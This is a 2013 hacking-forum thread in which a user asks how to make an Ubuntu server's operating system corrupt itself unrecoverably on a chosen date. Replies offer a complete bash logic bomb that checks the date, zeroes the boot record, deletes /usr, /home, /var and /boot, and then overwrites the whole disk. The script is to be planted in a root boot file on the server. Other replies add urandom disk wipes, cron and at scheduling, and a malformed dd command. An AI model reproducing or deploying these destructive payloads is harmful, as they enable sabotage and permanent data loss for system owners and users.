Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

How to corrupt os on perticular date

Hi Hackers...I am familiar with awk and shell scripting in basic level...

On particular date I want to corrupt complete os so that it cannot be recoverable

for example

today is 29th Nov 2013
say on 5th of december ,system file ,system all partition should corrupt...what I need to do ???? any idea...if you have any scripts please provide...OS which I want to correct is Ubuntu 12.04 LTS server edition. ✌
This should make the system unbootable, assuming that it gets ran as root. There are probably errors in this, I'm not great at shell scripting.
Test it under a virtual machine, and if it works, then add it on the server to whatever file that gets executed as root at boot.
Code
#!/bin/bash

#Date Check (First two digits are the month, last two digits are the day. For example 1st of April would be 0401)
if date +%m%d | grep 1205 > /dev/null; then
#This will wipe the partition table and MBR, making the system unbootable, but recoverable.
dd if=/dev/zero of=/dev/sda bs=512 count=1 &>/dev/null
#Now it will delete most of the stuff, but leave core utilities.
rm -rf /usr/ &>/dev/null
rm -rf /home/ &>/dev/null
rm -rf /var/ &>/dev/null
rm -rf /boot &>/dev/null
mkdir /usr &>/dev/null
mkdir /home &>/dev/null
mkdir /var &>/dev/null
mkdir /boot &>/dev/null
#Now as most of stuff is deleted, let's wipe the whole hard drive to ensure that everything is gone and decrease the chance of recovery. Add that wipe command second time if you wish to do a two-pass wipe.
dd if=/dev/zero of=/dev/sda bs=8M &>/dev/null
fi
personally I'd just do cat /dev/urandom > /dev/sd* random spew onto all the partitions? yes please.
at and batch read commands from standard input or a specified file which are to be executed at a later time, using /bin/sh.
Try deleting the grub config. Theres no more pointers to the disk if you delete it.
(Nov 29, 2013 12:40 PM)Hampter10001 Wrote:  Try deleting the grub config. Theres no more pointers to the disk if you delete it.

Data will be still recoverable and grub can be reinstalled (and reconfigured) via chroot from a livecd.
Just use a cron job to do

dd if=/dev/null /dev/sda*


Possibly Related Threads...
Thread / Author Replies Views Last Post
by cameronpJul 1, 2013 07:40 AM 6 165 Jul 1, 2013 07:40 AM
Last Post: cameronp
by EffexionOct 21, 2010 03:36 PM 1 95 Oct 21, 2010 03:36 PM
Last Post: ac1dxtrem